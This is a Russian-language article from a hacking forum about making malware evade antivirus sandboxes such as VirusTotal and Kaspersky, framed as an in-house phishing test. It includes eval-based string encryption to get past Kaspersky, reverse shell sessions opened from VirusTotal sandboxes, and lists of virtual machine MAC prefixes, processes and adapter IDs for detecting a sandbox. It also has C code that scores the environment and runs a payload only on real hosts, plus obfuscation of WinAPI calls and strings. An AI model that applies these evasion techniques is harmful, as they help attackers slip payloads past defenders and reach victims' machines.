• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья В обход песочниц. Детектим сэндбоксы VirusTotal и Kaspersky, чтобы спрятать вредоносный код

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Как устроены антивирусные песочницы, известно лишь понаслышке: вендоры надежно хранят свои секреты. Что мы увидим, если попытаемся заглянуть к ним под капот? В этой статье — результаты эксперимента по исследованию сред анализа вредоносного ПО, включая VirusTotal. Мы написали скрипт для обхода песочниц и получили reverse shell: теперь мы точно знаем, что там внутри.

Однажды мы решили провести тестовую фишинговую атаку в нашей организации, чтобы поднять уровень осведомленности сотрудников. В роли настоящего «хакера» я решил построить всю инфраструктуру сам. Зарегал поддельный домен, поднял свой почтовый сервер, сервер для приема отстука. И тут пришло время писать клиентскую часть, а именно ту полезную нагрузку, которая будет отправляться пользователю.

Для получения исполняемого файла я использовал связку Python + PyInstaller. Идея состояла в том, чтобы собрать минимум информации о хосте и понять, кому из сотрудников он принадлежит. Основной информацией стал IP-адрес машины в локальной сети предприятия, поскольку он никогда не меняется и по нему можно выяснить, кто же все‑таки запустил «вредонос».

Пример информации, которая поступала на мой сервер, если кто‑то запускал исполняемый файл:
Код:
Hostname: <hostname>
Version: <version_os>
Release: <number_release>
Architecture: <architecture>
Type machine: <type>
Network name: <network_name>
User: <run_user>
OS type: <windows/linux>
Local_ip: <local_ip>
На машинах организации, которую мы тестировали, стоит антивирусное решение от компании Kaspersky — Kaspersky Endpoint Security. Для его обхода я использовал возможность Python выполнять код, который передается в виде строки. Приведу пример.

Вот исходный код на Python для получения OS type:
Код:
os_type = platform.system()
А так выглядит обфусцированный код:
Код:
command_crypt = b'k\xb0\x0fp4\x03\xe9D\xe0\x01\xd5Z}\xc1\x85\xa42\xc56\x9f\xc0\x81\xaf\t\xe5\x08k!\x81\xd5\xcc\xf0'
command_decrypt = func_decrypt(command_crypt, key_decrypt)
os_type = eval(command_decrypt)
Реализация несложная. Сначала мы шифруем все строки кода с использованием функции шифрования, затем используем их в итоговом файле, из которого будет получен исполняемый файл. В нем содержится код с такой структурой:
  1. Зашифрованная строка кода.
  2. Дешифровка зашифрованной строки кода.
  3. Ее выполнение.
Полученный исполняемый файл я поместил на сервер. В зависимости от переданного в запросе User-Agent скрипт передавался под нужную ОС. Когда пользователь переходил по фишинговой ссылке, ему отправлялся архив, замаскированный под файл .xls, после чего выполнялся редирект на реальный сайт компании, чтобы было менее подозрительно.

Так вот, еще до того, как я выгрузил файл на сервер, я уже начал получать отстуки от непонятных для меня хостов. Вот пример одного из таких:
Код:
Hostname: DESKTOP-HESL6H8
Version: 10.0.18362
Release: 10
Architecture: ('64bit', 'WindowsPE')
Type machine: AMD64
Network name: DESKTOP-HESL6H8
User: G58gQ
OS type: Windows
Local_ip: 10.16.202.175
Сразу бросается в глаза странное имя пользователя, как будто бы сгенерированное. Единственная «утечка» могла произойти с машины, на которой я тестировал обход антивируса Kaspersky. Тогда я не стал обращать внимания на это, поскольку антивирус все равно не ругался на мой файл. И я благополучно забил на этот факт до недавнего времени, пока не заинтересовался обходом песочниц.

Идея по сбору информации о песочницах​

Предположительно тогда я получал отстуки из песочниц Kaspersky, которые анализировали файл с неизвестной сигнатурой. Поэтому я решил: раз приходят запросы, значит, у песочниц есть доступ в интернет и он не блокируется. Если усовершенствовать скрипт с reverse shell, чтобы не ловиться просто по сигнатуре, можно попробовать полазить по такой песочнице. Основу для реализации этой идеи я взял с сайта revshells.com.

Для экспериментов использовалась машина с белым IP. Я скомпилировал файл, и антивирус после пары подключений его нейтрализовал. А я стал ждать. И... ничего, я так и не получил коннекта.

Но при загрузке программы на VirusTotal виртуальные среды все‑таки позволяют взаимодействовать с хостом после подключения:
Код:
root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080

Connection received on 34.86.36.138 49171
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\azure\Downloads>
PS C:\Users\azure\Downloads> dir
dir
PS C:\Users\azure\Downloads> cd ..
cd ..
PS C:\Users\azure> dir
dir

Directory: C:\Users\azure
Mode                LastWriteTime         Length Name

d-----        3/31/2022   5:04 AM                .idlerc
d-----         1/6/2023  10:44 AM                .ms-ad
d-r---        3/25/2022   4:09 PM                Contacts
d-r---        3/25/2022   6:25 PM                Desktop
d-r---        3/25/2022   4:09 PM                Documents
d-r---         5/5/2025   8:45 AM                Downloads
d-r---        3/25/2022   4:09 PM                Favorites
d-r---        3/25/2022   4:09 PM                Links
d-r---        3/25/2022   4:09 PM                Music
d-r---        3/25/2022   4:09 PM                Pictures
d-r---        3/25/2022   4:09 PM                Saved Games
d-r---        3/25/2022   4:09 PM                Searches
d-r---        3/25/2022   4:09 PM                Videos

PS C:\Users\azure> Get-Process
Get-Process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    115       9    15448      15812       0.64    932   0 audiodg
     31       5     1080       3348       0.02   2168   1 conhost
     35       5     1140       3748       0.02   2444   1 conhost
     31       5     1080       3344       0.00   2460   1 conhost
     31       5     1076       3348       0.03   2560   1 conhost
     31       5     1076       3344       0.02   2648   1 conhost
     31       5     1076       3344       0.00   2668   1 conhost
     31       5     1080       3312       0.02   2788   1 conhost
     31       5     1080       3316       0.00   2812   1 conhost
    434      11     1840       4080       0.86    328   0 csrss
    325      15     2876       5900       1.19    384   1 csrss
...
79       7     1416       5280       0.06   2056   0 unsecapp
     81      10     1460       4728       0.64    376   0 wininit
    112       9     2692       7520       1.77    424   1 winlogon
    182      11     3532       9852       0.13    584   0 WmiPrvSE
    124       9     2280       6820       0.05   1836   0 WmiPrvSE
    133       9     2464       7236       0.14   2744   0 WmiPrvSE
    439      32     9896      27188       0.83   2484   0 wmpnetwk


PS C:\Users\azure> exit
Код:
root@hostname:~# nc -lvnp 8080
Listening on 0.0.0.0 8080
Connection received on 34.45.100.89 49681
ls
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\Bruno\Desktop> ls

Directory: C:\Users\Bruno\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          3/5/2025   2:59 PM                EEGWXUHVUG
d-----          3/5/2025   2:59 PM                EFOYFBOLXA
d-----          3/5/2025   2:59 PM                EOWRVPQCCS
d-----          3/5/2025   2:59 PM                EWZCVGNOWT

`...

-a----          3/5/2025   2:59 PM           1026 PWCCAWLGRE.pdf
-a----          3/5/2025   2:59 PM           1026 QCFWYSKMHA.jpg
-a----          5/6/2025  12:56 AM          49495 reverse.exe
-a----          3/5/2025   2:59 PM           1026 SFPUSAFIOL.xlsx
-a----          3/5/2025   2:59 PM           1026 SUAVTZKNFL.png

PS C:\Users\Bruno\Desktop> exit
В итоге я решил использовать тактику, как при проведении фишинговой атаки, а именно — использовать скрипт для сбора информации о системе и отправки данных на сервер.

Понятно, что тех данных, которые я собирал в изначальном скрипте, явно маловато, поэтому я усовершенствовал программу, и теперь она собирает следующие параметры:
Код:
OS type:
Version:
Release:
Architecture:
Type machine:
Network name:
User:
Hostname:
Local ip:
System Date:
   System boot time:
   Uptime:
System hardware:
System File:
   Directory: C:/Windows:
   Directory: C:/Program Files:
   Directory: C:/Program Files (x86):
   Directory: C:/ProgramData:
   Directory: C:/Windows/System32:
   Directory: C:/Windows/SysWOW64:
   Directory: C:/Windows/Temp:
   Directory: C:/Users:
User File:
   User directory:
   Directory: Downloads:
   Directory: Desktop:
   Directory: Pictures:
   Directory: Videos:
   Directory: Music:
   Directory: AppData\Local\Temp:
Process Data:
Также я собирал информацию о системе c помощью команд PowerShell, используя модуль subprocess:
Код:
systeminfo
ipconfig /all
net user
Get-WmiObject Win32_ComputerSystem
Get-Service
Get-WmiObject Win32_VideoController
Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | Select-Object `DeviceID, @{Name="Size(GB)";Expression={"{0:N2}" -f ($_.Size / 1GB)}}, @{Name="Free(GB)";Expression={"{0:N2}" -f ($_.FreeSpace / 1GB)}},@{Name="Used(GB)";Expression={"{0:N2}" -f (($_.Size - $_.FreeSpace) / 1GB)}}
Пока скрипты крутились в дробилках песочниц, я поискал в интернете информацию об обходе этих самых песочниц. В итоге мне понравились эти статьи:
Многие идеи я буду брать из этих статей, так что мой код по большей части не уникален.

Анализ полученной информации​

Ниже приведена таблица с данными, по которой мы будем в первую очередь определять среду.

EnvironmentHostnameOS VersionCPU countTotal memoryUptime (day hh.mm.ss)Process count
Real PC104321 day 02:16:12192
Real PC1061613:51:48275
VirTotalWIN-5E07COS9ALR10110:01:0456
VirTotalWIN-QIUREVVK5FL7180:01:4160
VirTotal71557510482:06:38189
VirTotal06154410282:03:42161
VirTotal42450510481:46:43167
VirTotalazure-PC7220:03:5758
VirTotalazure-PC7220:04:1155
VirTotalWALKER-PC721.50:01:2554
VirTotal00900BC8380310220:50:1252
VirTotalCOMPUTER-9GV0UZ10240:08:47103
VirTotalMZLTRR84805088410122:41:4251
Бросается в глаза, что у некоторых хостов явно проблемы с CPU и MEM. Также мы видим, что некоторые машины крайне недолго находятся в Uptime, а у других слишком мало запущенных процессов. Все это косвенно может свидетельствовать о виртуализации. Данных от песочниц Kaspersky я не получил: антивирус ни в какую не хотел считать мой файл зловредным.

В итоге я решил проверить свою программу с помощью динамического анализа на их сайте opentip.kaspersky.com. И как оказалось, исполняемый файл, полученный с использованием связки Python 3.12 + PyInstaller, просто не может запуститься в их песочнице.
20250506155940.png


И даже с учетом того, что файл содержит reverse shell, анализ показывает, что файл безопасен.
20250506160212.png


В общем, я вернулся на Python 3.7 и попробовал писать код на нем. Теперь программа анализировалась нормально. Вот данные, которые я получил.

EnvironmentHostnameOS VersionCPU countTotal memoryUptime (day hh.mm.ss)Process count
Real PC104321 day 02:16:12192
Real PC1061613:51:48275
KasELZ-8K4JW2UL3QY10240:08:16100
Kasart-PC7210:04:1544

Но получить с хостов данные, похожие на те, что приходили при проведении тестовой фишинговой атаки, мне не удалось. И только когда я оставил одни команды PowerShell, мне наконец прилетели отстукивания, которые были схожи, по крайней мере hostname и username напоминали те, что я увидел в первый раз. К сожалению, команда Get-Process почему‑то не отработала, и информации о количестве запущенных процессов мне получить не удалось.

HostHostnameOS VersionCPU countTotal memoryUptime (day hh.mm.ss)Process count
Real PC4321 day 02:16:12192
Real PC61613:51:48275
KasDESKTOP-09L7V9010121:35:42?
KasDESKTOP-NL2CM8W10122:38:52?
KasDESKTOP-WSP0LAK10123:44:45?
Как видно, эти хосты тоже страдают от нехватки CPU и MEM.

Теперь копаем глубже: нам нужны MAC-адреса. По ним также можно понять, что программа запущена в виртуальной среде. На этом ловятся хосты WIN-\*. Вот MAC-адреса, которые будем искать:
Код:
{{0x00, 0x50, 0x56}, "VMware ESX 3, Server, Workstation, Player"},
{{0x00, 0x0C, 0x29}, "VMware ESX 3, Server, Workstation, Player"},
{{0x00, 0x05, 0x69}, "VMware ESX 3, Server, Workstation, Player"},
{{0x00, 0x1с, 0x14}, "VMware ESX 3, Server, Workstation, Player"},
{{0x00, 0x03, 0xff}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x0d, 0x3a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x50, 0xf2}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x7c, 0x1e, 0x52}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x12, 0x5a}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x15, 0x5d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x17, 0xfa}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x28, 0x18, 0x78}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x7c, 0xed, 0x8d}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x1d, 0xd8}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x22, 0x48}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x25, 0xae}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x60, 0x45, 0xbd}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0xdc, 0xb4, 0xc4}, "Microsoft Hyper-V, Virtual Server, Virtual PC"},
{{0x00, 0x1c, 0x42}, "Parallels Desktop, Workstation, Server, Virtuozzo"},
{{0x00, 0x0f, 0x4b}, "Virtual Iron 4"},
{{0x00, 0x16, 0x3e}, "Red Hat Xen | Oracle VM | XenSource | Novell Xen"},
{{0x08, 0x00, 0x27}, "Sun xVM VirtualBox"},
А вот процессы, по которым можно понять, что скрипт запущен в виртуальной среде или анализируется в дебаггере:
Код:
// Иконка VirtualBox в трее гостевой ОС
TEXT("VBoxTray.exe"),
// Служба VirtualBox Guest Additions
TEXT("VBoxService.exe"),
TEXT("vboxservice.exe"),
// Драйвер VirtualBox Guest
TEXT("vboxguest.sys"),
// VMware Tools
TEXT("vmtoolsd.exe"),
TEXT("vmwaretray.exe"),
TEXT("vmwareuser.exe"),
TEXT("vmsrvc.exe"),
TEXT("vmhgfs.sys"),
TEXT("vmware-vmx.exe"),
TEXT("vmware-authd.exe"),
// Hyper-V
TEXT("vmicvss.exe"),
// TEXT("vmms.exe"),  // Был обнаружен в реальной машине, закомментировано
TEXT("vmmem.exe"),
TEXT("vmwp.exe"),
// QEMU
TEXT("qemu-system-x86_64.exe"),
TEXT("qemu-vm-guest.exe"),
// Parallels
TEXT("prl_vm_app.exe"),
TEXT("prl_tools.exe"),
TEXT("prl_cc.exe"),
TEXT("SharedIntApp.exe"),
// Драйвер мыши виртуальной машины
TEXT("vmmouse.sys"),
// Xen Virtualization environment
TEXT("xenservice.exe"),
// Windows Sandbox
TEXT("WindowsSandbox.exe"),
// Sandboxie
TEXT("SandboxieRpcSs.exe"),
TEXT("SandboxieDcomLaunch.exe"),
TEXT("SbieSvc.exe"),
TEXT("SbieCtrl.exe"),
// Comodo Sandbox
TEXT("SxIn.exe"),
// Process Monitor — анализ поведения
TEXT("procmon.exe"),
// Обнаружен в процессах одной из песочниц VirusTotal
TEXT("VmRemoteGuest.exe"),
// Windows Debugging Tools
TEXT("ntsd.exe"),
TEXT("windbg.exe"),
// IDA Pro
TEXT("idaq.exe"),
TEXT("idag.exe"),
// x64dbg/x32dbg
TEXT("x64dbg.exe"),
TEXT("x32dbg.exe"),
И тут меня заинтересовал вывод команды
Код:
Get-WmiObject Win32_VideoController
А именно вот такие строки:
Код:
Name
Description
PNPDeviceID
Собираю информацию с хостов:
Код:
Real PC:
Description                  : AMD Radeon(TM) Vega 10 Graphics
PNPDeviceID                  : PCI\VEN_1002&DEV_15DD&SUBSYS_512217AA&REV_D0\4&35FEB52A&0&0041
Description                  : Intel(R) UHD Graphics 730
PNPDeviceID                  : PCI\VEN_8086&DEV_4692&SUBSYS_D0001458&REV_0C\3&11583659&0&10
Kaspersky:
С сайта анализатора:
Hostname: ELZ-8K4JW2UL3QY
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_01\3&13C0B0C5&0&18
Hostname: art-PC
OS: Windows 7
Name                         : Standard VGA Graphics Adapter
Description                  : Standard VGA Graphics Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_02\3&1
Файлы, аналогичные файлам при проведении тестового фишинга:
Hostname: DESKTOP-09L7V90
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10
Hostname: DESKTOP-NL2CM8W
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10
Hostname: DESKTOP-WSP0LAK
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_00\3&13C0B0C5&0&10
VirusTotal:
Hostname: WIN-5E07COS9ALR
OS: Windows 10
Name                         : Microsoft Hyper-V Video
Description                  : Microsoft Hyper-V Video
PNPDeviceID                  : VMBUS\{DA0A7802-E377-4AAC-8E77-0558EB1073F8}\{5620E0C7-8062-4DCE-AEB7-520C7EF76171}
Hostname: WIN-QIUREVVK5FL
OS: Windows 7
Name                         : Microsoft Hyper-V Video
Caption                      : Microsoft Hyper-V Video
PNPDeviceID                  : VMBUS\{DA0A7802-E377-4AAC-8E77-0558EB1073F8}\{5620E0C7-8062-4DCE-AEB7-520C7EF76171}
Hostname: 715575
OS: Windows 10
Name                         : AD59MKMM
Description                  : CMPMV5
PNPDeviceID                  : PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78
Hostname: 061544
OS: Windows 10
Данные отсутствуют (команда не выполнилась)
Hostname: 424505
OS: Windows 10
Name                         : X9387726
Description                  : AE27H7US
NPDeviceID                  : PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78
Hostname: azure-PC
OS: Windows 7
Name                         : Standard VGA Graphics Adapter
Description                  : Standard VGA Graphics Adapter
PNPDeviceID                  : PCI\VEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_05\3&2
Hostname: azure-PC
OS: Windows 7
Name                         : Standard VGA Graphics Adapter
Description                  : Standard VGA Graphics Adapter
PNPDeviceID                  : PCI\VEN_1B36&DEV_0100&SUBSYS_11001AF4&REV_05\3&2
Hostname: 00900BC83803
OS: Windows 10
Name                         : Intel(R) UHD Graphics 630
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1234&DEV_5678&SUBSYS_9101112&REV_01\3&ABCDE&0&11
Hostname: COMPUTER-9GV0UZ
OS: Windows 10
Name                         : Microsoft Basic Display Adapter
Description                  : Microsoft Basic Display Adapter
PNPDeviceID                  : PCI\VEN_1AE0&DEV_A001&SUBSYS_00011AE0&REV_01\3&13C0B0C5&0&18
Hostname: MZLTRR848050884
OS: Windows 10
Name                        : Microsoft Basic Display Adapter
Description                 : Microsoft Basic Display Adapter
PNPDeviceID                 : PCI\VEN_8086&DEV_0412&SUBSYS_2AF7103C&REV_06\3&21436425&0&10
Как видно, есть повторяющиеся значения, а также имена и описания, похожие на дефолтные или сгенерированные. Дополнительно к выводу о том, что при проведении тестирования по фишингу мне прилетали отстуки от Kaspersky, говорят одинаковые VEN и DEV, полученные с сайта анализатора и откуда‑то еще (откуда прилетают странные отстукивания со странных хостов, я так и не понял).

В итоге я получил следующие имена виртуальных адаптеров:
Код:
  // Имена виртуальных видеоадаптеров
  char* virtual_keywords[] = {
    "Microsoft Basic Display Adapter",
    "VMware SVGA 3D",
    "VirtualBox Graphics Adapter",
    "Hyper-V Video",
    "Parallels Display Adapter (WDDM)",
    "QXL",
    "Red Hat QXL"
    "Xen VGA",
    "Citrix Display Adapter",
    "GDI Generic",
    "VBOX DISP Adapter"
Параметр PNPDeviceID указывает идентификатор логического устройства Win32 Plug and Play. Затем я попытался найти инфу о том, какие идентификаторы используются в виртуальных средах для видеокарт:
Код:
// Виртуальные VEN- и DEV-коды
char* virtual_code[] = {
    //  Vendor ID    Device ID
    // VMware
    "VEN_15AD", "DEV_0405",
    // VirtualBox
    "VEN_80EE", "DEV_BEEF", "DEV_CAFE",
    // Microsoft Hyper-V
    "VEN_\x0fDESKTOP-VVJHHG1414", "DEV_5353",
    // QEMU / KVM
    "VEN_1AF4", "DEV_1110",
    // Parallels Display Adapter
    "VEN_1AB8", "DEV_4000", "DEV_4005",
    // Citrix Xen
    "VEN_5853", "DEV_0001", "DEV_0002", "DEV_0003", "DEV_0004",
    "DEV_0005", "DEV_0006", "DEV_0007", "DEV_0008", "DEV_0009",
    "DEV_000A", "DEV_000B", "DEV_000C", "DEV_000D", "DEV_000V", "DEV_000F",
    // Bochs / QEMU Generic VGA
    "VEN_1234", "DEV_1111",
    // Red Hat / QEMU
    "VEN_1B36", "DEV_0100",
    // Google
    "VEN_1AE0", "DEV_A001"
};
По ним мы будем определять наличие виртуальной среды. Теперь взглянем на диски:
Код:
Real PC:

OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       465,12   66,92    398,20

Kaspersky:

С сайта анализатора:

Hostname: ELZ-8K4JW2UL3QY
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       39.89    20.55    19.34

Hostname: art-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)


C:       18.90    2.49     16.41
D:       1.00     0.87     0.13

Файлы, аналогичные файлам при проведении тестового фишинга:

Hostname: DESKTOP-09L7V90
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       1,023.51 1,001.54 21.97

Hostname: DESKTOP-NL2CM8W
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       1,023.51 1,001.54 21.97

Hostname: DESKTOP-WSP0LAK
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       299.51   276.81   22.70

VirusTotal:

Hostname: WIN-5E07COS9ALR
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       40.00    25.68    14.32
D:       64.00    63.87    0.13

Hostname: WIN-QIUREVVK5FL
OS: Windows 7
Данные почему‑то отсутствуют.

Hostname: 715575
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       208.15   104.83   103.32
Hostname: 061544
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       208.15   55.46    152.69

Hostname: 424505
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       208.15   104.83   103.32

Hostname: azure-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)

C:       119.90   89.61    30.29

Hostname: azure-PC
OS: Windows 7
DeviceID Size(GB) Free(GB) Used(GB)

C:       119.90   89.61    30.30

Hostname: 00900BC83803
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       29.45    9.32     20.14
E:       0.29     0.26     0.03
F:       1,024.00 1,023.86 0.13

Hostname: 00900BC83803
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       39.89    20.55    19.33

Hostname: MZLTRR848050884
OS: Windows 10
DeviceID Size(GB) Free(GB) Used(GB)

C:       999.90   981.98   17.92
G:       999.90   981.98   17.92
Как видно, встречаются лишь маленькие и часто повторяющиеся значения.

Реализация​

Так как не все данные на сто процентов говорят о том, что программа запущена в виртуальной среде, я решил использовать методику из практического экзамена в ГИБДД. Экзамен продолжается, пока кандидат в водители либо не сдаст экзамен, либо не наберет семь штрафных баллов. Так вот, за разные нарушения начисляется определенное количество баллов. Есть нарушения, после которых экзамен завершается сразу (например, нарушение при повороте, развороте, превышение ведет к получению сразу семи баллов), а есть те, за которые кандидат может получить от одного до четырех баллов (скажем, забыл включить поворотник или заглох).

В нашем случае тоже есть параметры, по которым наверняка можно определить, что программа запущена в виртуальной среде: виртуальный видеоадаптер, игнорирование функций sleep, процессы, относящиеся к виртуализации. А есть те, по которым можно сделать косвенные выводы, например количество ядер процессора или число запущенных процессов. Думаю, логика понятна.

Теперь составим таблицу с оценочными тестами.

Method
Check SleepPositiveNegative
Points07
Method
Check Uptime<=10 min<=30 min<=1 hour
Points741
Method
Check CPU<=1<=2<=4
Points741
Method
Check MEM<=2<=4<=6
Points741
Method
Check MACPositiveNegative
Points04
Method
Check Process<=100<=150<=170
Points741
PositiveNegative
Points07
Method
Check VideoPositiveNegative
Points07
Method
Check Disk<100 GB
Points7
Method
Check MousePositiveNegative
Points07

Полный код я выложил на GitHub. Основой программы будет невидимое окно. Идею я взял из видео «Окно‑невидимка» с канала First Steps.

Вот часть кода, где создается окно и вызывается функция проверки:
Код:
case WM_CREATE:
        {
            check_box();
            int a;
            for(;;) {
                // Инициализация генератора случайных чисел текущим временем
                srand(time(NULL));
                // Генерация числа от 1 до 100
                int random_number = (rand() % 100) + 1;
                a += random_number;
            }
        }
Если проверка прошла успешно и мы не в виртуальной машине, функция check_box завершит работу программы после отработки полезной нагрузки. В противном случае программа перейдет к бесконечному сложению чисел. Вот функция check_box:
Код:
int check_box()
{
    int check_result = 0;
    int local_result = 0;
    local_result = 0;
    local_result = Check_Sleep();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;
    local_result = 0;
    local_result = Check_Uptime();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;
    local_result = 0;
    local_result = Check_CPU_Info();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;
    local_result = 0;
    local_result = Check_MEM_Info();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;
    local_result = 0;
    local_result = Check_MAC();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;
    local_result = 0;
    local_result = Check_Process();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;
    local_result = 0;
    local_result = Check_First_Video_Device();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;
    local_result = 0;
    local_result = Check_Disk_Info();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;
    local_result = 0;
    local_result = Check_Mouse_Motion();
    check_result = check_result + local_result;
    if(check_result >= 7) return 1;
    Tapping();
    exit(0);
}
В этой части кода последовательно выполняются проверки, и если набирается семь или больше баллов, то функция возвращает 1 и код переходит к бесконечному складыванию чисел. Если же проверки не обнаружили виртуальную среду, то программа переходит к функции Tapping (аналог полезной нагрузки), которая получает Hostname системы и отправляет его POST-запросом мне на сервер, чтобы я мог определить, в какой виртуальной среде по тем или иным причинам отработала полезная нагрузка.

На сервере я должен получить примерно такую картину:
Код:
id: Tapping
('user_ip', )
('user_agent', )
('date', 'yyyy-mm-dd hh:mm:ss')
('Width', )
('Longitude', )
('hostname', )
status code: 0

Обфускация​

Первое, что я решил сделать, — это обфусцировать функции Win32 API. Идею я позаимствовал из статьи «Кривая дорожка. Обфусцируем вызовы WinAPI новыми способами».

Вот пример для функции GetSystemInfo. Если скомпилировать проект без обфускации, то можно увидеть следующее:
Код:
strings main.exe | grep GetSystemInfo
GetSystemInfo
ProxyGetSystemInfo
GetSystemInfo
__imp_GetSystemInfo
А теперь обфусцируем ее выбранным нами способом:
Код:
void ProxyGetSystemInfo(LPSYSTEM_INFO lpSystemInfo) {
    // Создаем тип pGetSystemInfo, который представляет указатель на функцию,
    // принимающую указатель на SYSTEM_INFO и не возвращающую значение.
    // Это позволит динамически загружать функцию GetSystemInfo.
    typedef void(WINAPI* pGetSystemInfo)(LPSYSTEM_INFO);
    // Имя функции "GetSystemInfo"
    char funcName[] = { 'G','e','t','S','y','s','t','e','m','I','n','f','o','\0' };
    // Имя библиотеки "kernel32.dll"
    char name_dll[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
    // Загружаем дескриптор библиотеки kernel32.dll, которая содержит GetSystemInfo
    HMODULE hKernel32 = LoadLibraryA(name_dll);
    // Получаем адрес функции GetSystemInfo в этой библиотеке
    pGetSystemInfo GetSystemInfoFunc = (pGetSystemInfo)GetProcAddress(hKernel32, funcName);
    // Если функция загружена, вызываем ее
    if (GetSystemInfoFunc != NULL) {
        // Вызов функции GetSystemInfo
        GetSystemInfoFunc(lpSystemInfo);
    } else {
        // printf("Error: GetSystemInfo function not found!\n");
        exit(1);
    }
    // Освобождаем загруженную библиотеку
    FreeLibrary(hKernel32);
}
Теперь компилируем проект и смотрим, осталось ли упоминание о нашей функции в скомпилированном файле:
Код:
strings main.exe | grep GetSystemInfo
ProxyGetSystemInfo
Как видно, осталось только измененное наименование функции, далее мы его тоже заменим, но будем делать это в автоматическом режиме с помощью скрипта на Python.

Проксируем таким образом все функции, которые используем в проекте. Прототипы и сами функции лежат в файле proxy_funck.с.

Теперь нужно изменить наименования. Для этого я написал простой скрипт на Python, и теперь обфусцированная функция проксирования ProxyGetSystemInfo выглядит так:
Код:
void hkgnxQepjmjsmmndk(LPSYSTEM_INFO qvkajTyhuqevm) {
    typedef void(WINAPI* fldzzGflcclknthgw)(LPSYSTEM_INFO);
    char ydvyzAfgwfvmcefnzj[] = { 'G','e','t','S','y','s','t','e','m','I','n','f','o','\0' };
    char mcfdgNqypgvahfal[] = { 'k','e','r','n','e','l','3','2','.','d','l','l','\0' };
    HMODULE yinkaJpaggo = LoadLibraryA(mcfdgNqypgvahfal);
    fldzzGflcclknthgw mbiloJfyaumc = (fldzzGflcclknthgw)GetProcAddress(yinkaJpaggo, ydvyzAfgwfvmcefnzj);
    if (mbiloJfyaumc != NULL) {
        mbiloJfyaumc(qvkajTyhuqevm);
    } else {
        // printf("Error: GetSystemInfo function not found!\n");
        exit(1);
    }
    FreeLibrary(yinkaJpaggo);
}
Смотрим, есть ли какое‑то упоминание о GetSystemInfo в файле:
Код:
strings main.exe | grep GetSystemInfo
Отлично. На самом деле обфусцировать переменные, которые находятся внутри функций (то есть локальные), нет смысла, они все равно не отображаются при статическом анализе файла. Главное — обфусцировать имена функций, а также строковые данные.

Строковые данные мы будем сохранять как массивы char, таким образом они не сохраняются, как обычные строки.

Было:
Код:
const char *ip = "192.168.5.52";
Стало:
Код:
    const char temp_ip[] = { '1','9','2','.','1','6','8','.','5','.','5','2','\0' };
    const char *ip = temp_ip;

Тестируем!​

Для начала нужно провести тестовую проверку с обычным файлом, чтобы посмотреть, как поведут себя анализируемые среды. Вот код программы, которую мы будем тестировать:
